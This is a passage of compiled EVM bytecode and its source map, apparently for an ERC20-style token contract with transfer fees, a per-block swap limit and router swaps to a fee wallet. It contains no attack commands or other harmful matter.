b8690610e89565b600160005260076020527fb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b82854610abb9085906001600160a01b0316610368610a5c6009600a611748565b50505050565b60008184841115610ae55760405162461bcd60e51b81526004016103a19190611609565b506000610af28486611812565b95945050505050565b600080610b106000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610b3f57506000546001600160a01b03858116911614155b15610d3e57610b706064610b6a600d5460105411610b5f57600954610b63565b600b545b8690610eef565b90610f6e565b6004549091506001600160a01b038681169116148015610b9e57506005546001600160a01b03858116911614155b8015610bc357506001600160a01b03841660009081526003602052604090205460ff16155b15610c08574360115414610bdb576000601255436011555b8260126000828254610bed91906116cd565b909155505060108054906000610c0283611829565b91905055505b6004546001600160a01b038581169116148015610c2e57506001600160a01b0385163014155b15610cb157610c3b610fb0565b6012541080610c4c57504360115414155b610c895760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a1565b610cae6064610b6a600e5460105411610ca457600a54610b63565b600c548690610eef565b90505b3060009081526001602052604090205460135460ff16158015610ce157506004546001600160a01b038681169116145b8015610cf5575060135462010000900460ff165b8015610d045750600f54601054115b15610d3c57600854811115610d3057610d30610d2b85610d2684600854611186565b611186565b61119b565b47610d3a47611337565b505b505b949350505050565b8015610dc05730600090815260016020526040902054610d669082610e89565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db79085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610de39083611375565b6001600160a01b038516600090815260016020526040902055610e28610e098383611375565b6001600160a01b03851660009081526001602052604090205490610e89565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e728585611375565b60405190815260200160405180910390a350505050565b600080610e9683856116cd565b905083811015610ee85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a1565b9392505050565b600082610efe575060006102e7565b6000610f0a83856117f3565b905082610f1785836116e5565b14610ee85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a1565b6000610ee883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113b7565b604080516002808252606082018352600092839291906020830190803683375050600554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b15801561101957600080fd5b505afa15801561102d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110519190611401565b8160008151811061107257634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106110b457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260055460405163d06ca61f60e01b8152600092919091169063d06ca61f90611100906729a2241af62c00009086906004016115f0565b60006040518083038186803b15801561111857600080fd5b505afa15801561112c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261115491908101906114c0565b90508060018151811061117757634e487b7160e01b600052603260045260246000fd5b60200260200101519250505090565b60008183116111955782610ee8565b50919050565b6013805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111eb57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123f57600080fd5b505afa158015611253573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112779190611401565b8160018151811061129857634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526005546112be91309116846107ac565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f7908590600090869030904290600401611691565b600060405180830381600087803b15801561131157600080fd5b505af1158015611325573d6000803e3d6000fd5b50506013805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611371573d6000803e3d6000fd5b5050565b6000610ee883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ac1565b600081836113d85760405162461bcd60e51b81526004016103a19190611609565b506000610af284866116e5565b6000602082840312156113f6578081fd5b8135610ee881611870565b600060208284031215611412578081fd5b8151610ee881611870565b6000806040838503121561142f578081fd5b823561143a81611870565b9150602083013561144a81611870565b809150509250929050565b600080600060608486031215611469578081fd5b833561147481611870565b9250602084013561148481611870565b929592945050506040919091013590565b600080604083850312156114a7578182fd5b82356114b281611870565b946020939093013593505050565b600060208083850312156114d2578182fd5b825167ffffffffffffffff808211156114e9578384fd5b818501915085601f8301126114fc578384fd5b81518181111561150e5761150e61185a565b8060051b604051601f19603f830116810181811085821117156115335761153361185a565b604052828152858101935084860182860187018a1015611551578788fd5b8795505b83861015611573578051855260019590950194938601938601611555565b5098975050505050505050565b600080600060608486031215611594578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b838110156115e55781516001600160a01b0316875295820195908201906001016115c0565b509495945050505050565b828152604060208201526000610d3e60408301846115ad565b6000602080835283518082850152825b8181101561163557858101830151858201604001528201611619565b818111156116465783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a0604082015260006116b060a08301866115ad565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156116e0576116e0611844565b500190565b60008261170057634e487b7160e01b81526012600452602481fd5b500490565b600181815b8085111561174057816000190482111561172657611726611844565b8085161561173357918102915b93841c939080029061170a565b509250929050565b6000610ee860ff841683600082611761575060016102e7565b8161176e575060006102e7565b8160018114611784576002811461178e576117aa565b60019150506102e7565b60ff84111561179f5761179f611844565b50506001821b6102e7565b5060208310610133831016604e8410600b84101617156117cd575081810a6102e7565b6117d78383611705565b80600019048211156117eb576117eb611844565b029392505050565b600081600019048311821515161561180d5761180d611844565b500290565b60008282101561182457611824611844565b500390565b600060001982141561183d5761183d611844565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461188557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122015b81d1a5d8e0179a7a5945db32c7e8175ae86f7e761bf2074b463bf7082ef2264736f6c63430008040033

Deployed Bytecode Sourcemap

3947:7674:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6052:83;;;;;;;;;;-1:-1:-1;6122:5:0;;;;;;;;;;;;-1:-1:-1;;;6122:5:0;;;;6052:83;;;;;;;:::i;:::-;;;;;;;;6889:161;;;;;;;;;;-1:-1:-1;6889:161:0;;;;;:::i;:::-;;:::i;:::-;;;4995:14:1;;4988:22;4970:41;;4958:2;4943:18;6889:161:0;4925:92:1;6329:99:0;;;;;;;;;;;;;:::i;:::-;;;9981:25:1;;;9969:2;9954:18;6329:99:0;9936:76:1;7058:314:0;;;;;;;;;;-1:-1:-1;7058:314:0;;;;;:::i;:::-;;:::i;6238:83::-;;;;;;;;;;-1:-1:-1;6238:83:0;;4414:1;10746:36:1;;10734:2;10719:18;6238:83:0;10701:87:1;6436:119:0;;;;;;;;;;-1:-1:-1;6436:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6529:18:0;6502:7;6529:18;;;:9;:18;;;;;;;6436:119;3021:148;;;;;;;;;;;;;:::i;:::-;;2807:79;;;;;;;;;;-1:-1:-1;2845:7:0;2872:6;2807:79;;-1:-1:-1;;;;;2872:6:0;;;3847:51:1;;3835:2;3820:18;2807:79:0;3802:102:1;6143:87:0;;;;;;;;;;-1:-1:-1;6215:7:0;;;;;;;;;;;;-1:-1:-1;;;6215:7:0;;;;6143:87;;6563:167;;;;;;;;;;-1:-1:-1;6563:167:0;;;;;:::i;:::-;;:::i;10792:309::-;;;;;;;;;;;;;:::i;6738:143::-;;;;;;;;;;-1:-1:-1;6738:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6846:18:0;;;6819:7;6846:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6738:143;5737:307;;;;;;;;;;;;;:::i;6889:161::-;6964:4;6981:39;1666:10;7004:7;7013:6;6981:8;:39::i;:::-;-1:-1:-1;7038:4:0;6889:161;;;;;:::o;6329:99::-;6382:7;4474:13;4414:1;4474:2;:13;:::i;:::-;4461:26;;:10;:26;:::i;:::-;6402:18;;6329:99;:::o;7058:314::-;7156:4;7173:36;7183:6;7191:9;7202:6;7173:9;:36::i;:::-;7221:121;7230:6;1666:10;7252:89;7290:6;7252:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7252:19:0;;;;;;:11;:19;;;;;;;;1666:10;7252:33;;;;;;;;;;:37;:89::i;:::-;7221:8;:121::i;:::-;-1:-1:-1;7360:4:0;7058:314;;;;;:::o;3021:148::-;2934:6;;-1:-1:-1;;;;;2934:6:0;1666:10;2934:22;2926:67;;;;-1:-1:-1;;;2926:67:0;;;;;;;:::i;:::-;;;;;;;;;3128:1:::1;3112:6:::0;;3091:40:::1;::::0;-1:-1:-1;;;;;3112:6:0;;::::1;::::0;3091:40:::1;::::0;3128:1;;3091:40:::1;3159:1;3142:19:::0;;-1:-1:-1;;;;;;3142:19:0::1;::::0;;3021:148::o;6563:167::-;6641:4;6658:42;1666:10;6682:9;6693:6;6658:9;:42::i;10792:309::-;2934:6;;-1:-1:-1;;;;;2934:6:0;1666:10;2934:22;2926:67;;;;-1:-1:-1;;;2926:67:0;;;;;;;:::i;:::-;10856:13:::1;::::0;::::1;::::0;::::1;;;10855:14;10847:49;;;::::0;-1:-1:-1;;;10847:49:0;;9685:2:1;10847:49:0::1;::::0;::::1;9667:21:1::0;9724:2;9704:18;;;9697:30;9763:25;9743:18;;;9736:53;9806:18;;10847:49:0::1;9657:173:1::0;10847:49:0::1;10907:11;::::0;-1:-1:-1;;;;;10907:11:0::1;:27;10942:21;10973:4;10979:24;10973:4:::0;-1:-1:-1;;;;;6529:18:0;6502:7;6529:18;;;:9;:18;;;;;;;6436:119;10979:24:::1;11004:1;11006::::0;11008:7:::1;2845::::0;2872:6;-1:-1:-1;;;;;2872:6:0;;2807:79;11008:7:::1;10907:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10907:125:0;;;-1:-1:-1;;;;;4577:15:1;;;10907:125:0::1;::::0;::::1;4559:34:1::0;4609:18;;;4602:34;;;;4652:18;;;4645:34;;;;4695:18;;;4688:34;4759:15;;;4738:19;;;4731:44;11016:15:0::1;4791:19:1::0;;;4784:35;4493:19;;10907:125:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11043:12:0::1;:19:::0;;-1:-1:-1;;11073:20:0;;;;;-1:-1:-1;10792:309:0:o;5737:307::-;2934:6;;-1:-1:-1;;;;;2934:6:0;1666:10;2934:22;2926:67;;;;-1:-1:-1;;;2926:67:0;;;;;;;:::i;:::-;5794:11:::1;:69:::0;;-1:-1:-1;;;;;;5794:69:0::1;5820:42;5794:69:::0;;::::1;::::0;;;5874:58:::1;::::0;5891:4:::1;::::0;4474:13:::1;4414:1;4474:2;:13;:::i;:::-;4461:26;::::0;:10:::1;:26;:::i;5874:58::-;5968:11;;;;;;;;;-1:-1:-1::0;;;;;5968:11:0::1;-1:-1:-1::0;;;;;5968:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5955:46:0::1;;6010:4;6017:11;;;;;;;;;-1:-1:-1::0;;;;;6017:11:0::1;-1:-1:-1::0;;;;;6017:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5955:81;::::0;-1:-1:-1;;;;;;5955:81:0::1;::::0;;;;;;-1:-1:-1;;;;;4139:15:1;;;5955:81:0::1;::::0;::::1;4121:34:1::0;4191:15;;4171:18;;;4164:43;4056:18;;5955:81:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5943:9;:93:::0;;-1:-1:-1;;;;;;5943:93:0::1;-1:-1:-1::0;;;;;5943:93:0;;;::::1;::::0;;;::::1;::::0;;5737:307::o;7380:335::-;-1:-1:-1;;;;;7473:19:0;;7465:68;;;;-1:-1:-1;;;7465:68:0;;8937:2:1;7465:68:0;;;8919:21:1;8976:2;8956:18;;;8949:30;9015:34;8995:18;;;8988:62;-1:-1:-1;;;9066:18:1;;;9059:34;9110:19;;7465:68:0;8909:226:1;7465:68:0;-1:-1:-1;;;;;7552:21:0;;7544:68;;;;-1:-1:-1;;;7544:68:0;;6599:2:1;7544:68:0;;;6581:21:1;6638:2;6618:18;;;6611:30;6677:34;6657:18;;;6650:62;-1:-1:-1;;;6728:18:1;;;6721:32;6770:19;;7544:68:0;6571:224:1;7544:68:0;-1:-1:-1;;;;;7623:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7675:32;;9981:25:1;;;7675:32:0;;9954:18:1;7675:32:0;;;;;;;7380:335;;;:::o;9183:604::-;-1:-1:-1;;;;;9274:19:0;;9266:69;;;;-1:-1:-1;;;9266:69:0;;8531:2:1;9266:69:0;;;8513:21:1;8570:2;8550:18;;;8543:30;8609:34;8589:18;;;8582:62;-1:-1:-1;;;8660:18:1;;;8653:35;8705:19;;9266:69:0;8503:227:1;9266:69:0;-1:-1:-1;;;;;9354:19:0;;9346:67;;;;-1:-1:-1;;;9346:67:0;;6195:2:1;9346:67:0;;;6177:21:1;6234:2;6214:18;;;6207:30;6273:34;6253:18;;;6246:62;-1:-1:-1;;;6324:18:1;;;6317:33;6367:19;;9346:67:0;6167:225:1;9346:67:0;9440:1;9432:5;:9;9424:63;;;;-1:-1:-1;;;9424:63:0;;8121:2:1;9424:63:0;;;8103:21:1;8160:2;8140:18;;;8133:30;8199:34;8179:18;;;8172:62;-1:-1:-1;;;8250:18:1;;;8243:39;8299:19;;9424:63:0;8093:231:1;9424:63:0;9498:15;9516:37;9533:5;9540;9547;9516:16;:37::i;:::-;9498:55;;9564:43;9578:5;9585;9592;9599:7;9564:13;:43::i;:::-;9651:16;;;:13;:16;;;;9618:75;;9635:5;;-1:-1:-1;;;;;9651:16:0;9670:22;4474:13;4414:1;4474:2;:13;:::i;:::-;4461:26;;:10;:26;:::i;:::-;9670:5;;:9;:22::i;9618:75::-;9751:1;9737:16;;:13;:16;;;;9704:75;;9721:5;;-1:-1:-1;;;;;9737:16:0;9756:22;4474:13;4414:1;4474:2;:13;:::i;9704:75::-;9183:604;;;;:::o;765:190::-;851:7;887:12;879:6;;;;871:29;;;;-1:-1:-1;;;871:29:0;;;;;;;;:::i;:::-;-1:-1:-1;911:9:0;923:5;927:1;923;:5;:::i;:::-;911:17;765:190;-1:-1:-1;;;;;765:190:0:o;7723:1452::-;7810:7;7830:15;7870:7;2845;2872:6;-1:-1:-1;;;;;2872:6:0;;2807:79;7870:7;-1:-1:-1;;;;;7861:16:0;:5;-1:-1:-1;;;;;7861:16:0;;;:36;;;;-1:-1:-1;2845:7:0;2872:6;-1:-1:-1;;;;;7881:16:0;;;2872:6;;7881:16;;7861:36;7857:1295;;;7924:75;7995:3;7924:66;7945:15;;7935:9;;:25;7934:55;;7975:14;;7934:55;;;7962:12;;7934:55;7924:5;;:9;:66::i;:::-;:70;;:75::i;:::-;8029:9;;7914:85;;-1:-1:-1;;;;;;8020:18:0;;;8029:9;;8020:18;:51;;;;-1:-1:-1;8059:11:0;;-1:-1:-1;;;;;8042:29:0;;;8059:11;;8042:29;;8020:51;:81;;;;-1:-1:-1;;;;;;8077:24:0;;;;;;:17;:24;;;;;;;;8075:26;8020:81;8016:338;;;8140:12;8125:13;;:27;8122:144;;8194:1;8176:15;:19;8234:12;8218:13;:28;8122:144;8303:5;8284:15;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;8327:9:0;:11;;;:9;:11;;;:::i;:::-;;;;;;8016:338;8382:9;;-1:-1:-1;;;;;8373:18:0;;;8382:9;;8373:18;:43;;;;-1:-1:-1;;;;;;8395:21:0;;8411:4;8395:21;;8373:43;8370:283;;;8463:15;:13;:15::i;:::-;8445;;:33;:64;;;;8497:12;8482:13;;:27;;8445:64;8437:91;;;;-1:-1:-1;;;8437:91:0;;9342:2:1;8437:91:0;;;9324:21:1;9381:2;9361:18;;;9354:30;-1:-1:-1;;;9400:18:1;;;9393:44;9454:18;;8437:91:0;9314:164:1;8437:91:0;8559:78;8633:3;8559:69;8580:16;;8570:9;;:26;8569:58;;8612:15;;8569:58;;;8598:13;;8559:5;;:9;:69::i;:78::-;8549:88;;8370:283;8707:4;8669:17;6529:18;;;:9;:18;;;;;;8733:10;;;;8732:11;:33;;;;-1:-1:-1;8756:9:0;;-1:-1:-1;;;;;8747:18:0;;;8756:9;;8747:18;8732:33;:49;;;;-1:-1:-1;8769:12:0;;;;;;;8732:49;:83;;;;;8797:18;;8785:9;;:30;8732:83;8728:413;;;8851:15;;8839:9;:27;8836:118;;;8885:69;8902:51;8910:5;8917:35;8925:9;8936:15;;8917:7;:35::i;:::-;8902:7;:51::i;:::-;8885:16;:69::i;:::-;8991:21;9072:34;9084:21;9072:11;:34::i;:::-;8728:413;;7857:1295;;9160:7;7723:1452;-1:-1:-1;;;;7723:1452:0:o;9795:458::-;9903:11;;9900:161;;9973:4;9955:24;;;;:9;:24;;;;;;:37;;9984:7;9955:28;:37::i;:::-;9946:4;9928:24;;;;:9;:24;;;;;;;:64;;;;10010:39;;-1:-1:-1;;;;;10010:39:0;;;;;;;10041:7;9981:25:1;;9969:2;9954:18;;9936:76;10010:39:0;;;;;;;;9900:161;-1:-1:-1;;;;;10090:16:0;;;;;;:9;:16;;;;;;:27;;10111:5;10090:20;:27::i;:::-;-1:-1:-1;;;;;10071:16:0;;;;;;:9;:16;;;;;:46;10147:40;10168:18;:5;10178:7;10168:9;:18::i;:::-;-1:-1:-1;;;;;10147:16:0;;;;;;:9;:16;;;;;;;:20;:40::i;:::-;-1:-1:-1;;;;;10128:16:0;;;;;;;:9;:16;;;;;:59;;;;10203:42;;;10226:18;:5;10236:7;10226:9;:18::i;:::-;10203:42;;9981:25:1;;;9969:2;9954:18;10203:42:0;;;;;;;9795:458;;;;:::o;434:179::-;492:7;;524:5;528:1;524;:5;:::i;:::-;512:17;;553:1;548;:6;;540:46;;;;-1:-1:-1;;;540:46:0;;7002:2:1;540:46:0;;;6984:21:1;7041:2;7021:18;;;7014:30;7080:29;7060:18;;;7053:57;7127:18;;540:46:0;6974:177:1;540:46:0;604:1;434:179;-1:-1:-1;;;434:179:0:o;963:246::-;1021:7;1045:6;1041:47;;-1:-1:-1;1075:1:0;1068:8;;1041:47;1098:9;1110:5;1114:1;1110;:5;:::i;:::-;1098:17;-1:-1:-1;1143:1:0;1134:5;1138:1;1098:17;1134:5;:::i;:::-;:10;1126:56;;;;-1:-1:-1;;;1126:56:0;;7358:2:1;1126:56:0;;;7340:21:1;7397:2;7377:18;;;7370:30;7436:34;7416:18;;;7409:62;-1:-1:-1;;;7487:18:1;;;7480:31;7528:19;;1126:56:0;7330:223:1;1217:132:0;1275:7;1302:39;1306:1;1309;1302:39;;;;;;;;;;;;;;;;;:3;:39::i;10481:299::-;10573:16;;;10587:1;10573:16;;;;;;;;10529:7;;;;10573:16;10587:1;10573:16;;;;;;;;-1:-1:-1;;10610:11:0;;:18;;;-1:-1:-1;;;10610:18:0;;;;10549:40;;-1:-1:-1;;;;;;10610:11:0;;;;:16;;-1:-1:-1;10610:18:0;;;;;;;;;;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10600:4;10605:1;10600:7;;;;;;-1:-1:-1;;;10600:7:0;;;;;;;;;;;;;;:28;-1:-1:-1;;;;;10600:28:0;;;-1:-1:-1;;;;;10600:28:0;;;;;10657:4;10639;10644:1;10639:7;;;;;;-1:-1:-1;;;10639:7:0;;;;;;;;;-1:-1:-1;;;;;10639:23:0;;;:7;;;;;;;;;:23;10700:11;;:41;;-1:-1:-1;;;10700:41:0;;10673:24;;10700:11;;;;;:25;;:41;;10726:8;;10736:4;;10700:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;10700:41:0;;;;;;;;;;;;:::i;:::-;10673:68;;10759:10;10770:1;10759:13;;;;;;-1:-1:-1;;;10759:13:0;;;;;;;;;;;;;;;10752:20;;;;10481:299;:::o;10261:105::-;10322:7;10352:1;10350;:3;10349:9;;10357:1;10349:9;;;-1:-1:-1;10355:1:0;10261:105;-1:-1:-1;10261:105:0:o;11146:468::-;5203:10;:17;;-1:-1:-1;;5203:17:0;5216:4;5203:17;;;11247:16:::1;::::0;;11261:1:::1;11247:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11247:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11247:16:0::1;11223:40;;11292:4;11274;11279:1;11274:7;;;;;;-1:-1:-1::0;;;11274:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;11274:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11318:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;11318:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;11274:7;;11318:18;;;;;:11;:18;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11308:4;11313:1;11308:7;;;;;;-1:-1:-1::0;;;11308:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;11308:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;11379:11:::1;::::0;11347:57:::1;::::0;11364:4:::1;::::0;11379:11:::1;11393:10:::0;11347:8:::1;:57::i;:::-;11415:11;::::0;:191:::1;::::0;-1:-1:-1;;;11415:191:0;;-1:-1:-1;;;;;11415:11:0;;::::1;::::0;:62:::1;::::0;:191:::1;::::0;11492:10;;11415:11:::1;::::0;11533:4;;11560::::1;::::0;11580:15:::1;::::0;11415:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5243:10:0;:18;;-1:-1:-1;;5243:18:0;;;-1:-1:-1;;;;11146:468:0:o;10374:99::-;10437:11;;10429:36;;-1:-1:-1;;;;;10437:11:0;;;;10429:36;;;;;10459:5;;10437:11;10429:36;10437:11;10429:36;10459:5;10437:11;10429:36;;;;;;;;;;;;;;;;;;;;;10374:99;:::o;621:136::-;679:7;706:43;710:1;713;706:43;;;;;;;;;;;;;;;;;:3;:43::i;1357:189::-;1443:7;1478:12;1471:5;1463:28;;;;-1:-1:-1;;;1463:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1502:9:0;1514:5;1518:1;1514;:5;:::i;14:257:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:31;235:5;210:31;:::i;276:261::-;346:6;399:2;387:9;378:7;374:23;370:32;367:2;;;420:6;412;405:22;367:2;457:9;451:16;476:31;501:5;476:31;:::i;542:398::-;610:6;618;671:2;659:9;650:7;646:23;642:32;639:2;;;692:6;684;677:22;639:2;736:9;723:23;755:31;780:5;755:31;:::i;:::-;805:5;-1:-1:-1;862:2:1;847:18;;834:32;875:33;834:32;875:33;:::i;:::-;927:7;917:17;;;629:311;;;;;:::o;945:466::-;1022:6;1030;1038;1091:2;1079:9;1070:7;1066:23;1062:32;1059:2;;;1112:6;1104;1097:22;1059:2;1156:9;1143:23;1175:31;1200:5;1175:31;:::i;:::-;1225:5;-1:-1:-1;1282:2:1;1267:18;;1254:32;1295:33;1254:32;1295:33;:::i;:::-;1049:362;;1347:7;;-1:-1:-1;;;1401:2:1;1386:18;;;;1373:32;;1049:362::o;1416:325::-;1484:6;1492;1545:2;1533:9;1524:7;1520:23;1516:32;1513:2;;;1566:6;1558;1551:22;1513:2;1610:9;1597:23;1629:31;1654:5;1629:31;:::i;:::-;1679:5;1731:2;1716:18;;;;1703:32;;-1:-1:-1;;;1503:238:1:o;1746:1161::-;1841:6;1872:2;1915;1903:9;1894:7;1890:23;1886:32;1883:2;;;1936:6;1928;1921:22;1883:2;1974:9;1968:16;2003:18;2044:2;2036:6;2033:14;2030:2;;;2065:6;2057;2050:22;2030:2;2108:6;2097:9;2093:22;2083:32;;2153:7;2146:4;2142:2;2138:13;2134:27;2124:2;;2180:6;2172;2165:22;2124:2;2214;2208:9;2236:2;2232;2229:10;2226:2;;;2242:18;;:::i;:::-;2288:2;2285:1;2281:10;2320:2;2314:9;2383:2;2379:7;2374:2;2370;2366:11;2362:25;2354:6;2350:38;2438:6;2426:10;2423:22;2418:2;2406:10;2403:18;2400:46;2397:2;;;2449:18;;:::i;:::-;2485:2;2478:22;2535:18;;;2569:15;;;;-1:-1:-1;2604:11:1;;;2634;;;2630:20;;2627:33;-1:-1:-1;2624:2:1;;;2678:6;2670;2663:22;2624:2;2705:6;2696:15;;2720:156;2734:2;2731:1;2728:9;2720:156;;;2791:10;;2779:23;;2752:1;2745:9;;;;;2822:12;;;;2854;;2720:156;;;-1:-1:-1;2895:6:1;1852:1055;-1:-1:-1;;;;;;;;1852:1055:1:o;2912:316::-;3000:6;3008;3016;3069:2;3057:9;3048:7;3044:23;3040:32;3037:2;;;3090:6;3082;3075:22;3037:2;3124:9;3118:16;3108:26;;3174:2;3163:9;3159:18;3153:25;3143:35;;3218:2;3207:9;3203:18;3197:25;3187:35;;3027:201;;;;;:::o;3233:463::-;3286:3;3324:5;3318:12;3351:6;3346:3;3339:19;3377:4;3406:2;3401:3;3397:12;3390:19;;3443:2;3436:5;3432:14;3464:3;3476:195;3490:6;3487:1;3484:13;3476:195;;;3555:13;;-1:-1:-1;;;;;3551:39:1;3539:52;;3611:12;;;;3646:15;;;;3587:1;3505:9;3476:195;;;-1:-1:-1;3687:3:1;;3294:402;-1:-1:-1;;;;;3294:402:1:o;5022:358::-;5255:6;5244:9;5237:25;5298:2;5293;5282:9;5278:18;5271:30;5218:4;5318:56;5370:2;5359:9;5355:18;5347:6;5318:56;:::i;5385:603::-;5497:4;5526:2;5555;5544:9;5537:21;5587:6;5581:13;5630:6;5625:2;5614:9;5610:18;5603:34;5655:4;5668:140;5682:6;5679:1;5676:13;5668:140;;;5777:14;;;5773:23;;5767:30;5743:17;;;5762:2;5739:26;5732:66;5697:10;;5668:140;;;5826:6;5823:1;5820:13;5817:2;;;5896:4;5891:2;5882:6;5871:9;5867:22;5863:31;5856:45;5817:2;-1:-1:-1;5972:2:1;5951:15;-1:-1:-1;;5947:29:1;5932:45;;;;5979:2;5928:54;;5506:482;-1:-1:-1;;;5506:482:1:o;7558:356::-;7760:2;7742:21;;;7779:18;;;7772:30;7838:34;7833:2;7818:18;;7811:62;7905:2;7890:18;;7732:182::o;10017:582::-;10316:6;10305:9;10298:25;10359:6;10354:2;10343:9;10339:18;10332:34;10402:3;10397:2;10386:9;10382:18;10375:31;10279:4;10423:57;10475:3;10464:9;10460:19;10452:6;10423:57;:::i;:::-;-1:-1:-1;;;;;10516:32:1;;;;10511:2;10496:18;;10489:60;-1:-1:-1;10580:3:1;10565:19;10558:35;10415:65;10288:311;-1:-1:-1;;;10288:311:1:o;10793:128::-;10833:3;10864:1;10860:6;10857:1;10854:13;10851:2;;;10870:18;;:::i;:::-;-1:-1:-1;10906:9:1;;10841:80::o;10926:217::-;10966:1;10992;10982:2;;-1:-1:-1;;;11017:31:1;;11071:4;11068:1;11061:15;11099:4;11024:1;11089:15;10982:2;-1:-1:-1;11128:9:1;;10972:171::o;11148:422::-;11237:1;11280:5;11237:1;11294:270;11315:7;11305:8;11302:21;11294:270;;;11374:4;11370:1;11366:6;11362:17;11356:4;11353:27;11350:2;;;11383:18;;:::i;:::-;11433:7;11423:8;11419:22;11416:2;;;11453:16;;;;11416:2;11532:22;;;;11492:15;;;;11294:270;;;11298:3;11212:358;;;;;:::o;11575:140::-;11633:5;11662:47;11703:4;11693:8;11689:19;11683:4;11769:5;11799:8;11789:2;;-1:-1:-1;11840:1:1;11854:5;;11789:2;11888:4;11878:2;;-1:-1:-1;11925:1:1;11939:5;;11878:2;11970:4;11988:1;11983:59;;;;12056:1;12051:130;;;;11963:218;;11983:59;12013:1;12004:10;;12027:5;;;12051:130;12088:3;12078:8;12075:17;12072:2;;;12095:18;;:::i;:::-;-1:-1:-1;;12151:1:1;12137:16;;12166:5;;11963:218;;12265:2;12255:8;12252:16;12246:3;12240:4;12237:13;12233:36;12227:2;12217:8;12214:16;12209:2;12203:4;12200:12;12196:35;12193:77;12190:2;;;-1:-1:-1;12302:19:1;;;12334:5;;12190:2;12381:34;12406:8;12400:4;12381:34;:::i;:::-;12451:6;12447:1;12443:6;12439:19;12430:7;12427:32;12424:2;;;12462:18;;:::i;:::-;12500:20;;11779:747;-1:-1:-1;;;11779:747:1:o;12531:168::-;12571:7;12637:1;12633;12629:6;12625:14;12622:1;12619:21;12614:1